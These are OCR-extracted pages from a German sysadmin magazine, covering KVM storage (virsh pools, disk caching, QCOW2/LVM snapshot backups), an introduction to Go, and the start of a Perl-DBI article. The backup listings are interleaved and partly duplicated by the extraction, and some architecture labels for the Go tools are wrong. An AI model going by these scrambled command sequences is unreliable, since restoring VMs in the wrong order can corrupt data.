Beispiele.»pool‐define‐as« richtet einen 

neuen Pool ein. Der erste Parameter gibt 

den Namen, der zweite den Typ an, zum 

Beispiel »dir« für ein lokales Verzeichnis 

für Image-Dateien, »logical« für eine Volume 

Group (LVM) oder »disk« für eine 

ganze Festplatte. 

Im zweiten Parameter geben Sie den Namen 

des neuen Speicherpools an. Beachten 

Sie, dass das »‐‐target«-Verzeichnis 

bei Pools des Typs »dir« bereits existieren 

muss. 

»pool‐start« aktiviert den neuen Pool. 

»pool‐autostart« bewirkt, dass der neue 

Pool in Zukunft automatisch beim Start 

des Libvirt-Dämons aktiviert wird. 

virsh# pool‐define‐as new‐pool dir ‐‐targetU 

/data/new‐pool 

Pool new‐pool definiert. 

virsh# pool‐start new‐pool 

Pool new‐pool gestartet 

virsh# pool‐autostart new‐pool 

Pool new‐pool marked as autostarted 

»vol‐create‐as« erzeugt in einem Verzeichnis-Pool 

standardmäßig RAW-Images, 

wobei der gesamte Speicherplatz sofort 

alloziert wird. Das können Sie durch die 

Option »‐‐allocate 0G« verhindern. (In der 

virsh und in anderen Libvirt-Werkzeugen 

werden Datenträger als Volumes bezeichnet. 

Deswegen beginnen alle Kommandos 

zur Bearbeitung von Datenträgern mit 

»vol‐«.) Tabelle 1 zeigt noch einmal die 

wichtigsten Kommandos im Überblick. 

virsh# vol‐create‐as new‐pool test1.img 10GU 

‐‐allocation 0G 

Caching 

In der Detailansicht des Virtual Machine 

Manager können Sie im Dialogblatt des 

Datenträgers zwischen verschiedenen 

Caching-Modi wählen (Abbildung 4). 

Dazu müssen Sie zuerst die normalerweise 

versteckten Bereiche »Advanced 

options« und »Performance options« ausklappen. 

Dann stehen beim Feld »Cache 

mode« vier Einstellungen zur Auswahl: 

n None: Es wird kein Caching verwendet. 

Diese Einstellung gilt standardmäßig 

bei im Virtual Disk Manager 

eingerichteten virtuellen Maschinen. 

n Default: Der Hypervisor entscheidet, 

ob und welches Caching-Verfahren 

zum Einsatz kommt. Bei KVM ist das 

derzeit Writethrough-Caching (siehe 

den nächsten Punkt). Vorsicht: Das 

Defaultverhalten kann sich in zukünftigen 

KVM-Versionen ändern! 

n Writethrough: Mit dieser Einstellung 

werden Lese- und Schreibzugriffe 

durch den Zwischenspeicher des 

Hostsystems beschleunigt. Schreibzugriffe 

im Gastsystem werden aber erst 

dann abgeschlossen, wenn das Hostsystem 

den Speichervorgang quittiert 

hat. Jeder Synchronisationsvorgang 

(sync, fsync) muss physikalisch auf 

dem Hostsystem abschlossen werden, 

bevor der betreffende Prozess im Gastsystem 

weiterarbeiten kann. Aktuelle 

Qemu/KVM-Versionen berücksichtigen 

dabei I/O Barriers. 

n Writeback: In diesem Fall werden 

auch die Schreibvorgänge durch das 

Gastsystem gepuffert (so wie bei jedem 

Programm, das in eine Datei 

schreibt). Synchronisationsvorgänge 

werden nicht direkt weitergeleitet, 

sondern vom Hostsystem nach dessen 

Ermessen durchgeführt. Das führt 

bei Schreibvorgängen zu einer erheblichen 

Beschleunigung. 

Natürlich hat diese Art des Cachings 

einen gravierenden Nachteil: Wenn das 

Hostsystem abstürzt, kann es passieren, 

dass das Dateisystem des Gasts inkonsistent 

und im schlimmsten Fall unbenutzbar 

wird. Besonders groß ist dieses Risiko 

bei QCOW2-Image-Dateien. Abstürze des 

Gasts verursachen hingegen nicht mehr 

Probleme als bei nicht-virtualisierten Systemen. 

Welches ist nun die beste Einstellung? 

In der KVM-Dokumentation wird häufig 

die Einstellung »None« empfohlen. 

Meine eigenen Benchmarks haben aber 

Listing 1: »virsh«-Beispiele 

01 root# virsh 

02 virsh# pool‐list 

03 Name Status Automatischer Start 

04 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 

05 default Aktiv yes 

06 my‐pool Aktiv yes 

07 vg2 Aktiv yes 

08 virsh# vol‐list my‐pool 

09 Name Pfad 

10 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 

11 centos‐test1.img /data/my‐pool/vm‐centos/ 

centos‐test1.img 

12 centos‐test2.img /data/my‐pool/vm‐centos/ 

centos‐test2.img 

13 ... 


Admin 


121


KVM-Storage 

01 Backup: 

01 Backup: 

01 Backup: 

02 mkdir /snap 

ergeben, dass das Writethrough-Caching 

bei virtuellen Maschinen, die viele I/ 

O-Operationen durchführen, eine deutliche 

Geschwindigkeitssteigerung bewirkt 

(auch bei LVM-Datenträgern). Noch 

mehr Performance bietet das Writeback- 

Caching, von dessen Einsatz ich aber aus 

Sicherheitsgründen abrate. 

Snapshots mit QCOW2 

Listing 3: Backup eines LV-Datenträgers 

02 lvcreate ‐s ‐L 2G ‐n vmname_snap /dev/vg1/vmname 

03 cat /dev/vg1/vmname_snap > /backup/vmname.img 

04 lvremove ‐f /dev/vg1/vmname_snap 

05 

Listing 2: Backup eines QCOW2-Image 

02 virsh snapshot‐create‐as vmname snapname 

03 cp /var/lib/libvirt/images/vmname.img /backup 

04 cp /etc/libvirt/qemu/vmname.xml /backup 

05 cp /var/lib/libvirt/qemu/snapshot/vmname/snapname. 

xml /backup 

06 

07 Wiederherstellung: 

08 cp /backup/vmname.img /var/lib/libvirt/images 

09 virsh define /backup/vmname.xml 

10 virsh snapshot‐create vmname /backup/snapname.xml 

‐‐redefine 

11 virsh snapshot‐revert vm backsnap ‐‐running 


07 cat /backup/vmname.img > /dev/vg1/vmname_snap 

Listing 4: Image-Datei im Dateisystem in einem LV 

03 lvcreate ‐s ‐L 2G ‐‐name images‐snap /dev/vg1/ 

lv‐images 

04 mount /dev/vg1/images‐snap /snap 

05 cp /snap/vmname.img /backup 

06 umount /snap 

07 lvremove /dev/vg1/images‐snap 

08 rmdir /snap 

09 


11 cp /backup/vmname.img /var/lib/libvirt/images/ 

Snapshots helfen dabei, den Zustand 

oder das Dateisystem einer virtuellen Maschine 

zu einem bestimmten Zeitpunkt 

zu speichern. Dazu gibt es unterschiedliche 

Verfahren, je nachdem, welche virtuellen 

Datenträger zum Einsatz kommen. 

Die beste Snapshot-Unterstützung genießen 

QCOW2-Images. Die Image-Datei 

setzt sich aus relativ kleinen Blöcken 

zusammen. Als Snapshot gilt ein Readonly-Abbild 

des gesamten Images. Änderungen 

nach der Durchführung des 

Snapshots werden in neuen Blöcken gespeichert, 

sodass das Image weiterhin 

verwendbar bleibt. 

Es ist erlaubt, mehrere Snapshots zu 

erstellen. Allerdings beanspruchen Änderungen, 

die nach dem Snapshot gespeichert 

werden, zusätzlichen Speicherplatz. 

Somit liegen nun zwei oder mehr 

Versionen des Images vor; die Image- 

Datei kann deswegen größer werden als 

die beim Erzeugen definierte Maximalgröße! 

Um einen Snapshot im laufenden Betrieb 

einer virtuellen Maschine zu erzeugen, 

verwenden Sie das Virsh-Kommando 

»snapshot‐create«. Auch die weitere Administration 

der Snapshots erfolgt auf 

Kommandoebene (»snapshot‐revert«, 

»snapshot‐delete«, »snapshot‐list«). Der 

Virtual Maschine Manager unterstützt 

leider noch keine Snapshots. 

Eingefroren 

Bei der Erzeugung eines Snapshots 

wird auch der Zustand der virtuellen 

Maschine gespeichert (inklusive 

aller CPU-Register, eines Abbilds des 

RAM und so weiter). Diese Daten werden 

in einem eigenen Segment innerhalb 

der QCOW2-Datei gespeichert. 

Die Libvirt-Dokumentation spricht 

in diesem Zusammenhang von VM- 

Snapshots. Während der Ausführung 

von »snapshot‐create« wird die virtuelle 

Maschine vorübergehend angehalten. Sie 

läuft dann aber weiter. 

Wenn man mit dem 

Virsh-Kommando 

»snapshot‐revert« 

einen älteren 

Snapshot aktiviert, 

wird nicht nur die 

Image-Datei in den 

damaligen Zustand 

versetzt, sondern 

auch die virtuelle 

Maschine. Sie läuft 

also an der Stelle 

weiter, an der sie 

sich befand, als 

der Snapshot erstellt 

wurde. 

Leider dauert 

das Erstellen von 

QCOW2-Snapshots relativ lange, wenn 

das Caching aktiv ist. Wenn Sie auf 

das Caching nicht verzichten möchten, 

können Sie QCOW2-Snapshots mit dem 

Kommando »snapshot‐create ‐‐disk‐only« 

auch ohne Speicherung des RAM-Abbilds 

erzeugen. Das ist wesentlich schneller, 

hat aber den Nachteil, dass die virtuelle 

Maschine bei der Nutzung eines 

Snapshots nicht im bisherigen Zustand 

fortgesetzt werden kann, sondern neu 

gestartet werden muss. Die virtuelle Maschine 

verhält sich damit wie ein Rechner, 

der plötzlich ausgeschaltet wurde. 

LVM-Snapshots 

Eine Alternative zu QCOW2-Snapshots 

sind LVM-Snapshots. Diese Variante 

kommt natürlich nur dann infrage, 

wenn Sie die Image-Dateien in einem 

Logical Volume speichern, oder wenn 

Sie ein Logical Volume direkt als virtuellen 

Datenträger verwenden. Die Administration 

von LVM-Backups erfolgt 

vollkommen losgelöst von KVM beziehungsweise 

von den Libvirt-Werkzeugen 

durch das LVM-Kommando »lvcreate«. 

Anders als bei QCOW2-Snapshots besteht 

deswegen auch keine Möglichkeit, das 

Speicherabbild der virtuellen Maschine 

zu sichern. LVM-Snapshots von laufenden 

virtuellen Maschinen verhalten sich 

daher wie QCOW2-Snapshots mit der 

Option »‐‐disk‐only«. 

Grundsätzlich ist es einfach, ein Backup 

einer virtuellen Maschine durchzuführen: 

Sie fahren die virtuelle Maschine hinunter, 

kopieren die Image-Datei beziehungs- 

Abbildung 4: I/O-Caching im Virtual Machine Manager einstellen. 


KVM-Storage 


weise lesen das Logical Volume aus und 

starten die Maschine dann neu. Diese Art 

des Backups ist für den Server-Einsatz 

aber ungeeignet: Die virtuellen Maschinen 

sollen selbstverständlich auch während 

eines Backups weiterlaufen. Umgekehrt 

ist es aber zwecklos, ein Logical Volume 

oder eine Image-Datei im laufenden 

Betrieb einfach auszulesen: Das Volume 

respektive die Datei würde sich während 

der Erstellung der Sicherung ändern, die 

resultierende Backup-Datei wäre inkonsistent 

und damit unbrauchbar. 

Snapshots bieten einen Ausweg aus 

diesem Dilemma. Dabei gibt es drei 

Varianten: QCOW2-Snapshots, LVM- 

Snapshots für ein Logical Volume, das 

direkt als KVM-Datenträger verwendet 

wird, oder LVM-Snapshots für ein Logical 

Volume, das ein Dateisystem mit 

KVM-Image-Dateien enthält. Die Listings 

2, 3 und 4 fassen die Kommandos zusammen, 

mit denen Sie für jede dieser 

Varianten ein Backup durchführen be- 

ziehungsweise die virtuelle Maschine 

aus dem Backup wiederherstellen. 

Bei den Varianten 3 und 4 lautet der 

Name der Volume Group jeweils »vg1«. 

Bei der Variante 4 gehe ich zusätzlich 

davon aus, dass sich das Verzeichnis »/ 

var/lib/libvirt/images« direkt im Logical 

Volume »lv‐images« befindet. 

Die QCOW2-Variante ist am sichersten. 

Hier wird nämlich nicht nur der Datenträger 

selbst gesichert, sondern auch der 

Zustand der virtuellen Maschine zum 

Zeitpunkt des Backups. Das macht aber 

die Wiederherstellung aufwendiger, weil 

auch das RAM-Abbild wieder korrekt in 

das Libvirt-System eingespielt werden 

muss. 

Fazit 

Mitunter lohnt es sich, bei der KVM- 

Virtualisierung von den Standardeinstellungen 

bei der Auswahl des Image-Typs 

abzuweichen. Insbesondere bei Backups 

und Snapshots hat das Format großen 

Einfluss auf die verwendeten Werkzeuge 

und den Arbeitsablauf. Die richtigen 

Einstellungen beim Caching haben zum 

Teil erhebliche Auswirkungen auf die I/ 

O-Performance des virtualisierten Gastsystems. 

(ofr) 

n 

Infos 

[1] KVM-Homepage: 

[http://www.linux-kvm.org] 

[2] Virtio-Treiber für Windows: 

[http:// alt. fedoraproject. org/ pub/ alt/ 

virtio‐win/ latest/ images/ bin/] 

[3] QED-Disk-Format: 

[http://wiki.qemu.org/Features/QED] 

Der Autor 

Michael Kofler [http:// kofler. info] arbeitet als 

selbstständiger Computerbuch-Autor und Trainer. 

Zuletzt hat er zusammen mit Ralf Spenneberg 

das Buch „KVM für die Server-Virtualisierung“ im 

Addison-Wesley-Verlag veröffentlicht. 


Admin 


123

Programmieren 

Go 

© Dimitar Dimitrov, 123RF 

Programmieren mit Go 

Moderner 

Klassiker 

Die Programmiersprache Go verspricht mit der vor Kurzem erschienenen 

Version 1 langfristige Kompatibilität. Konzipiert zur Systemprogrammierung, 

verzichtet sie auf modische Features und ist somit auch interessant 

für alle, die an akuter Hype-Allergie leiden. Oliver Frommel 

Listing 1: Error Handling 

01 for try := 0; try < 2; try++ { 

02 file, err = os.Create(filename) 

03 if err == nil { 

04 return 

05 } 

06 if e, ok := err.(*os.PathError); ok && e.Err == 

syscall.ENOSPC { 

07 deleteTempFiles() // Recover some space. 

08 continue 

09 } 

10 return 

11 } 

Go macht keine falschen Versprechungen. 

Vielleicht ist es gerade das, was die 

Sprache längerfristig interessant macht. 

Im Jahr 2007 haben Robert Griesemer, 

Ken Thompson und Rob Pike sie erfunden, 

weil sie mit den existierenden 

Sprachen zur Systemprogrammierung 

unzufrieden waren. Dabei bedienen sie 

keinen der aktuellen Trends um asynchrone 

Webprogrammierung oder Cloud 

Computing. Vielmehr haben sie aus 30 

Jahren Erfahrung mit C gelernt und eine 

Programmiersprache geschaffen, die deren 

Nachfolge antreten könnte. 

Wie C zeigt auch Go [1] seine Stärken bei 

der Systemprogrammierung, wenngleich 

sich die Sprache natürlich für nahezu alle 

Zwecke einsetzen lässt. Die Spracherfinder 

sind bei Google angestellt, deshalb 

hat Go neben Java und Python auch 

seinen Weg auf die Google App Engine 

gefunden, die Go derzeit im experimentellen 

Stadium unterstützt [2]. 

Zukunftsträchtig 

Anfang 2008 hatte Ken Thompson einen 

ersten experimentellen Compiler fertiggestellt, 

der C-Code erzeugt. Ian Tyler 

begann etwas später mit der Arbeit an einem 

Go-Frontend für den GCC-Compiler. 

Gegen Ende des Jahres stieg Russ Cox 

in das Go-Projekt ein, und die Arbeit 

ging etwas schneller voran. Im November 

2009 präsentierte das Team dann endlich 

das erste öffentliche Release des Go- 

Compilers. Im März 2012 erschien Version 

1.0 von Compiler und Spezifikation, 

die Kompatibilität für die kommenden 

Go-Releases verspricht [3]. Damit eignet 

sich Go jetzt auch für richtige Software- 

Projekte, nicht nur für Experimente. 

Die ausgesprochenen Ziele des Go- 

Projekts sind effiziente Übersetzung, 

schnelle Ausführung und einfache Programmierung. 

Bei existierenden Sprachen 

seien alle drei Zeile zusammen nicht zu 

haben, meinen die Go-Erfinder. Go soll 

das simple Programmieren in den immer 

beliebteren Sprachen wie Python und 

Ruby mit der Effizienz und Zuverlässigkeit 

von Sprachen wie C, C++ und Java 

kombinieren. Dabei soll die Übersetzung 

aber nicht so lange dauern wie etwa bei 

Java-Projekten. Außerdem will Go besser 

mit Abhängigkeiten zwischen externen 

Bibliotheken umgehen. 

Einfachheit ist eines der hervorstechenden 

Merkmale von Go. Ihr zuliebe haben 

die Spracherfinder auf viele Konstrukte 

verzichtet. In erster Linie soll Go eine 

konsistente und unzweideutige Syntax 

besitzen. Das kann man von Sprachen 

wie etwa Perl, Ruby oder Scala nicht 

behaupten, die für ein und denselben 

Zweck eine Vielzahl syntaktischer Konstrukte 

oder Methoden besitzen. 

Go orientiert sich an C, lässt aber viele 

Sprachelemente weg, beispielsweise solche, 

die redundant den gleichen Zweck 

erfüllen. Zum Beispiel gibt es vom Inkrement-Operator 

»++« nur noch die 

Postfix-Variante, die hinter der Variable 

steht. Gleichzeitig ist dies nur eine Anweisung, 

aber kein Ausdruck, der gleich 

weiterverwendet werden kann. Das führt 

zwar zu etwas mehr Schreibarbeit, aber 

zu eindeutiger Semantik und weniger 

Verwirrung. 

Etwas klarer werden Go-Programme noch 

durch Anleihen bei strukturierten Sprachen 

wie Pascal, Modula und Oberon. 

Teilweise war die Go-Syntax schon in 

Newsqueak und Limbo verwirklicht. 

Letztere ist die Programmiersprache des 

Inferno-Betriebssystems, das wiederum 

ein Ableger des Plan9-Systems ist, an 

dem Thompson und Pike früher arbeiteten. 

Klar formatiert 

Beispielsweise verzichtet Go auf Strichpunkte, 

die einzelne Statements abschließen 

(Abbildung 1). Tatsächlich sind die 

Strichpunkte Teil der Sprachspezifikation, 

aber der Parser ergänzt sie selbstständig, 

ähnlich wie es auch die Javascript-Spezifikation 

vorsieht. Damit das klappt, muss 

sich der Programmierer an den vorgegebenen 

Stil der Klammersetzung halten, 

der vorsieht, dass öffnende Klammern 

von Blocks immer am Ende einer Zeile 

erscheinen, nicht alleine zu Beginn der 

folgenden Zeile. Das mitgelieferte Tool 

»gofmt« stellt diese Formatierung sicher, 


Go 

Programmieren 

Abbildung 1: Die Tour auf der Go-Homepage verschafft einen guten ersten Eindruck der Programmiersprache. 

gibt es auch, aber eher 

wie in Pascal, also ohne 

die C-typische Zeigerarithmetik. 

Generische Typen, wie 

sie von C++, Java und 

Python bekannt sind, 

gibt es in Go nicht, wenn 

auch die Entwickler ihnen 

einen gewissen Nutzen 

bescheinigen und für 

die ferne Zukunft eine 

Implementierung nicht 

definitiv ausschließen. 

Dennoch lässt es sich in 

Go objektorientiert programmierern, 

die Abstraktion 

hierfür sind die 

sogenannten Interfaces, 

die sich aber von Interfaces 

etwa in Java oder 

Objective-C unterscheiden. 

Ein Interface speziwas 

den Programmierer von Handarbeit 

befreit und dafür sorgt, dass Go-Code bei 

allen Projekten gleich aussieht. 

Variablen werden mit dem Schlüsselwort 

»var« deklariert, gefolgt vom Variablennamen 

und dem Typ, also umgekehrt wie 

bei C, C++ oder Java: 

var x float64 

Variablennamen können mit jedem Zeichen 

beginnen, das im Unicode-Standard 

als Buchstabe gilt, jedoch sollte man es 

hierbei vernünftigerweise nicht übertreiben. 

Mit dem Operator »:=« lassen sich 

Variablen in einem Aufwasch definieren 

und initialisieren. Das Schlüsselwort 

»var« kann man hierbei, ebenso wie 

meist die Typangabe weglassen: 

i := 1 

pi := 3.142 

Auch bei Schleifen haben die Go-Entwickler 

radikal ausgemistet, was bei 

näherer Betrachtung durchaus sinnvoll 

erscheint, denn all die Whiles, Dos und 

Foreachs lassen sich meist einfach umformulieren. 

In Go gibt es nur noch die gute 

alte For-Schleife. 

Typen 

Aus der steigenden Popularität von Sprachen 

wie Python und Javascript haben 

die Go-Entwickler die Lehre gezogen, 

dass ein einfaches Typsystem die Verbreitung 

einer Programmiersprache eher fördert. 

Wie Robert Griesemer es ausdrückt: 

„Clumsy type systems drive people to 

dynamically typed languages.“ Dennoch 

wollten sie auf die Zuverlässigkeit, die 

stark typisierte Sprachen bieten, nicht 

verzichten. Der klassische Kompromiss 

ist bei Go nun in starker Typisierung mit 

Typinferenz verwirklicht, das heißt jede 

Variable hat einen fixen Typ, aber der 

Programmierer kann darauf verzichten, 

ihn anzugeben, wenn der Compiler ihn 

erschließen kann. 

Gleichzeitig gibt es aber in Go auch keine 

strikte Typenhierarchie, weil dies nach 

Ansicht der Entwickler die Implementierung 

von Compiler und 

Tools verkompliziert und 

zu endlosen Diskussionen 

über die konkrete 

Ausformung der Hierarchie 

führt. Stattdessen 

bietet Go wichtige 

Typen wie Arrays und 

Maps (Hashes) schon 

im Sprachkern. Pointer 

fiziert eine Sammlung von Methoden, 

die „Objekte“ implementieren, um damit 

eine bestimmte Funktion zu erfüllen, 

ohne dass sie einer gemeinsamen Klasse 

angehören müssen. 

Auch Exceptions gibt es in Go nicht, weil 

sie zu unkontrollierbaren Änderungen im 

Programmfluss führen. Als Alternative 

bietet Go mehrere Rückgabewerte für 

Funktionen an, die sich über einen Wildcard-Mechanismus 

zum Auslesen von 

Fehlerwerten eignen. Listing 1 zeigt in 

Zeile 2, wie der Aufruf von »os.Create()« 

gleichzeitig das Datei-Handle und einen 

Fehlercode zurückgibt. 

Tools 

Wer selbst mit der Go-Programmierung 

loslegen will, muss meistens erst noch 

den Compiler installieren, den es aber zumindest 

auf modernen Linux-Distributionen 

schon im Paketmanagement-System 

gib. Auf Ubuntu 12.04 etwa genügt zur 

… alles nur eine Frage der Lastverteilung ! 

BalanceNG ® 

● 

Der Software Load-Balancer für Linux und Solaris 

● 

Voll virtualisierbar 

● 

Keine zusätzliche Hardware erforderlich 

● 

Security made in Germany: 

Garantiert frei von versteckten “Backdoors” 

Alle Informationen unter: www.BalanceNG.net 

Inlab Software GmbH 

Josef-Würth-Str. 3 

82031 Grünwald 

Tel: 089 / 64911420 

http://www.inlab.de 


Admin 


125

Programmieren 

Go 

Installation »apt‐get install golang«. Für 

alle anderen, einschließlich Mac- und 

Windows-Benutzer, gibt es Binärdistributionen 

des Go-Pakets. 

Nach der Installation finden sich auf der 

Festplatte, je nach Prozessorarchitektur, 

die Befehle »6a«, »6c«, »6g« und »6l« oder 

analoge Befehle mit den Ziffern 5 oder 8. 

Die 6er-Tools sind für AMD64, die 5er- 

Reihe für 368 und die 8er für ARM. Die 

seltsamen Namen sind ebenfalls ein Erbe 

von Plan9, das über diese Ziffern die Prozessorarchitekturen 

identifiziert. 

Praktischerweise muss man sich um 

diese Details in der Praxis nicht kümmern, 

sondern kann stattdessen einfach 

das Frontend »go« verwenden. Es sei jedoch 

noch erwähnt, dass die vom Compiler 

erzeugten Object-Dateien mit der Endung 

».6« Referenzen auf alle verwendeten 

Module enthält, die der Linker dann 

verwendet. Damit fällt das Problem weg, 

dass man zusätzlich zum Einbinden von 

Header-Dateien auch noch die passenden 

Libraries finden und beim Linken angeben 

muss wie von C und C++ bekannt. 

Wenn sich ein Go-Programm kompilieren 

lässt, kann der Compiler es auch linken. 

Die altbekannten Linker-Probleme gehören 

damit der Vergangenheit an. Auch die 

Aufgabe von Makefiles übernimmt »go«. 

Wer Go richtig installiert hat, sollte auf 

der Kommandozeile den Go-Befehl ausführen 

können: 

$ go version 

go version go1 

Wenn die Go-Installation nicht automatisch 

im »PATH« der ausführbaren Dateien 

enthalten ist, sollte man die Umgebungsvariable 

»GOROOT« auf das Elternverzeichnis 

setzen und dann »$GOROOT/ 

bin« in den »PATH« aufnehmen. 

Weil Go-Programme sich wirklich schnell 

übersetzen lassen, eignen sie sich mit 

Einschränkungen auch für den Aufruf als 

Skript, also eine Art selbstgestrickte Justin-Time-Compilation. 

Das Tool Gorun unterstützt 

diesen Prozess [4]. 

Fortgeschritten 

Abbildung 2: Die Tour auf der Go-Homepage verschafft einen guten ersten 

Eindruck der Programmiersprache. 

Trotz aller Reduktion gibt es in Go auch 

einige Features, die in anderen Sprachen 

als modern gelten und von Programmierern 

gewünscht werden. Ein Beispiel dafür 

sind die Closures, die in Go anonyme 

Funktionen sind, die ihre Umgebung 

speichern. 

Das erklärte Ziel der einfachen Programmierung 

für Multicore-Systeme (Go entstand 

in der Prä-Cloud-Ära, als Multicore-Prozessoren 

der letzte Schrei waren) 

erreicht Go mit einer Abstraktion namens 

Goroutines, die nach dem Vorbild der 

Communicating Sequential Processes 

(CSP) eine Vereinfachung gegenüber der 

fehlerträchtigen Programmierung mit Threads 

darstellen [6]. 

Zum Weiterlesen bietet sich das Online- 

Dokument „Effective Go“ an, das besonders 

ans Herz gelegt sei, weil es „idomatische“, 

also Go-typische Problemlösungen 

zeigt [7]. Bücher über Go gibt es 

mittlerweile schon einige, darunter auch 

zwei deutschsprachige. Hilfe findet man 

auch auf der Mailingliste „golang-nuts“ 

(die Liste „golang-dev“ ist für Compiler- 

Entwickler gedacht). Schließlich noch ein 

Tipp für die Websuche nach Go-Ressourcen: 

statt „go“ als 

Suchbegriff einfach 

immer „golang“ 

verwenden. 

Lokal lässt sich die 

ganze Dokumentation 

im Browser 

lesen, wenn 

man mit »godoc 

‐http=:8000« den 

Dokumentationsserver 

startet. 

Go selbst bringt 

schon eine Vielzahl 

von Bibliotheken 

mit (Abbildung 

2), weitere 

finden sich zum Beispiel unter [8] [9] 

und [10]. Größere in Go implementierte 

Projekte sind beispielsweise der Webserver 

Falcore [11] oder die Websoftware 

von Stathat [12]. 

Fazit 

Go ist ausgereift und dank der Vorwärtskompatibilität, 

die seine Entwickler garantieren, 

für professionelle Software- 

Projekte geeignet. Auch die kurzen 

Compile-Zeiten sind für größere Projekte 

nützlich. Die Reduzierung des Sprachumfangs 

macht die Sprache relativ leicht 

erlernbar und hilft vor allem dabei, auch 

fremden Code leicht zu lesen, was letztlich 

die Wartungsfreundlichkeit von Software 

fördert. Der Preis für die Reduktion 

auf das Wesentliche ist der Verzicht, etwa 

auf klassenbasierte Objektorientierung, 

die viele Programmierer von ihrer Ausbildung 

gewohnt sind. Go bietet eigene 

Features zur ansatzweise objektorientierten 

Entwicklung, die aber das Eindenken 

in neue Konzepte erfordern. Es ist zu 

erwarten, dass sich Go gerade im Bereich 

der Systemprogrammierung noch weiter 

verbreiten wird, aber durch den Support 

auf Googles App Engine könnte auch 

der Einsatz bei der Webprogrammierung 

noch interessant werden. 

n 

Infos 

[1] Go: [http:// golang. org/] 

[2] Go auf der App Engine: [https:// developers. 

google. com/ appengine/ docs/ go] 

[3] News zu Go 1: [http:// www. 

admin‐magazin. de/ News/ Version‐1‐der‐Pr 

ogrammiersprache‐Go‐ist‐fertig] 

[4] Gorun: [http:// wiki. ubuntu. com/ gorun] 

[6] Communicating Sequential Processes: 

[http:// www. usingcsp. com/ cspbook. pdf] 

[7] Effective Go: [http:// golang. org/ doc/ 

effective_go. html] 

[8] Libraries written in pure Go: 

[http:// go‐lang. cat‐v. org/ pure‐go‐libs] 

[9] Library Bindings for Go: 

[http:// go‐lang. cat‐v. org/ library‐bindings] 

[10] Externe Go-Projekte: 

[http:// godashboard. appspot. com/] 

[11] Falcore: [http:// ngenuity. ngmoco. com/ 2012/ 

01/ introducing‐falcore‐and‐timber. html] 

[12] Building Stathat with Go: [http:// 

blog. golang. org/ 2011/ 12/ 

building‐stathat‐with‐go. html] 


Perl-DBI 

Programmieren 

© Stanislav Komogorov, 123RF 

Grundlagen der Datenbankprogrammierung unter Perl 

Erschließungsarbeiten 

Beim Programmieren bewähren sich oft Arrays oder Hashes als Datensilos, 

jedenfalls solange ihre Daten das Programm, das sie verwendet, 

nicht zu überleben brauchen. Wer wahlfreien Zugriff auf persistente Daten 

braucht, dem bietet sich beispielsweise eine Datenbank an. Doch wie 

kommt er dann an die dort gespeicherten Informationen? Jens-Christoph Brendel 

Um eine Datenbank interaktiv zu befragen, 

benutzt man am besten einen 

SQL-Client. Solche Applikationen gibt es 

für jedes Betriebssystem in unterschiedlicher 

Qualität beinah wie Sand am Meer. 

Die Kommandozeilentools darunter kann 

man durchaus auch aus einem Skript heraus 

beschicken, dennoch bietet sich für 

den Datenbankzugriff aus einer Applikation 

eher eine native Datenbankschnittstelle 

an. Traditionellerweise hatte jede 

Datenbank ihre eigene API. Natürlich 

waren damit auch die Probleme programmiert, 

sollte man die Datenbank einmal 

wechseln wollen oder nur eine Version 

nicht mehr vollständig rückwärts kompatibel 

sein. Deswegen haben sich schon 

lange Standards herausgebildet, die entweder 

sowohl sprach- wie datenbankunabhängig 

sind, etwa Microsofts ODBC 

(Open Database Connectivity), oder die 

einer Sprache zuzuschreiben, aber mit 

vielen Datenbanken kombinierbar sind. 

Beispiele dafür sind JDBC (Java Database 

Connectivity), das zu Java gehört, ADO 

(ActiveX Data Objects), verbandelt mit 

Visusal Basic, BDE (Borland Database 

Engine), ein Kind von Object Pascal/Delphi 

oder eben Perl-DBI (Perl DataBase 

Independent), das mit Perl verheiratet ist. 

Dieses DBI-Interface soll hier vorgestellt 

werden. 

Zweiteiler 

Das Datenbank-Interface DBI bestand 

von Anfang an aus zwei Teilen. Die Befehle 

des Programmierers nimmt dabei 

immer das eigentliche DBI-Modul entgegen, 

das mit »use DBI;« in das Programm 

eingebunden sein muss, das die Datenbank 

befragen will. Um die konkrete 

Datenbeschaffung kümmern sich dagegen 

datenbankspezifische DBD-Module 

(Database Driver), die es sowohl für die 

allermeisten Datenbanken als auch für 

die oben erwähnten Schnittstellenfamilien 

gibt. Daneben existieren auch Treiber 

für Datenstrukturen wie XML oder CSV. 

Diese Architektur macht es leicht, das 

System für neue Datenbanken oder Versionen 

anzupassen, indem man lediglich 

den passenden Treiber ergänzt, während 

das DBI-Modul und die Software, die es 

verwendet, so bleiben kann, wie sie ist. 

Kein Wunder also, dass das CPAN 30 

Bildschirmseiten DBD-Module listet. 

Welcher Treiber genau gebraucht wird, 

um eine konkrete Datenbank anzusprechen, 

erfährt das DBI-Modul aus einer 

»connect«-Anweisung, die allen Datenbankabfragen 

vorausgehen muss. Einen 

passenden DBD-Treiber muss DBI dann 

im Perl-Modulpfad finden können. 

Wer wissen will, ob das klappen wird, 

muss freilich nicht auf eine eventuelle 

Fehlermeldung warten, sondern kann 

vorher ohne Aufwand testen, welche 

Datenbanken DBI in der jeweiligen Umgebung 

bereits kennt. DBI enthält dafür 

und für verschiedene andere Zwecke eine 

Reihe von Service-Methoden. Da die datenbankbenutzende 

Anwendung sicher 

in nicht wenigen Fällen eine Webapplikation 

sein wird, benutzen wir hier auch 

eine Mini-Webseite zum Testen (Listing 

1). Das Skript muss für den Benutzer, 

unter dessen Account der Webserver 

läuft, ausführbar sein und im »cgi‐bin«- 

Verzeichnis liegen. 

Wenn alles glatt geht, liefert der Test eine 

Tabelle mit den Treibernamen. Ist die 

eigene Datenbank hier noch nicht vorhanden, 

muss man zuerst das DBD-Treibermodul 

installieren. Manchmal paketieren 

Linux-Distributionen eine Auswahl 

solcher Treiber, Ubuntu beispielsweise 

zumeist unter dem Namen libdbd-Datenbankname 

für MySQL, PostgreSQL, 

SQLite, MS SQL und Sybase. Wer keine 

Binärpakete vorfindet, kann die Treiber 

aber auch sehr einfach via CPAN-Shell 

nachladen. 

Königsweg 

Sind alle Treiber an Bord, ist die Datenbank 

eingerichtet und funktioniert sie, 

geht es los. In den allermeisten Fällen 

kann sich der Anwender bei gewöhnlichen 

Abfragen an die Schrittfolge aus 

Listing 2 halten. 

